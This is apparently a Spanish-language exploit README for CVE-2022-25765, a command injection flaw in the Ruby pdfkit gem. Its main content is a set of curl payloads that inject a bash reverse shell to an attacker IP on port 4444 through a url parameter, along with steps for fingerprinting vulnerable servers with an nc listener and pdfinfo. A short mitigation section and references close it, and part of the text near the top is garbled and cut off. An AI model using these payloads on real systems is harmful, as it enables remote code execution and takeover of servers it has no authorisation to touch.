Share
## https://sploitus.com/exploit?id=0A06BBFC-9806-5724-933D-8B3BAD03A9A7
# CVE-2022-25765 — Command Injection in pdfkit

## Descripción

**CVE-2022-25765** es una vulnerabilidad de **inyección de comandos** (Command Injection) que afecta a **pdfkit** (Ruby gem) en versiones ** ` | Reverse shell mode |
| `-w ` | URL del sitio web vulnerable (opcional) |
| `-p ` | Parámetro POST (opcional, default: `url`) |
| `-h` | Ayuda |

### Ejemplos de payload manual

```bash
# Inyección via curl
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# O usando $() en lugar de backticks
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# Comando simple
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"
```

---

## Identificación

Para identificar si un servidor es vulnerable:

1. Enviar una URL controlada y observar el callback HTTP
2. Revisar los metadatos del PDF generado: `Creator: pdfkit v0.8.6`

```bash
# Enviar URL y recibir callback
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# Si recibes la petición con User-Agent: wkhtmltopdf, la app convierte PDFs

# Verificar versión en metadatos del PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Buscar: "Generated by pdfkit v0.8.6" (vulnerable)
```

---

## Mitigación

- Actualizar pdfkit a la versión **≥ 0.8.7.2**
- Si no es posible actualizar, sanitizar el parámetro `url` para eliminar caracteres peligrosos (`\``, `$()`, `%20`)
- Implementar una lista blanca de URLs o usar una API de terceros para generación de PDFs

---

## Referencias

- [NVD — CVE-2022-25765](https://nvd.nist.gov/vuln/detail/CVE-2022-25765)
- [CVE-2022-25765 en GitHub](https://github.com/UNICORDev/exploit-CVE-2022-25765)
- [Exploit-DB #51293](https://www.exploit-db.com/exploits/51293)
- [Snyk Advisory — SNYK-RUBY-PDFKIT-2869795](https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795)
- [pdfkit GitHub (original)](https://github.com/pdfkit/pdfkit)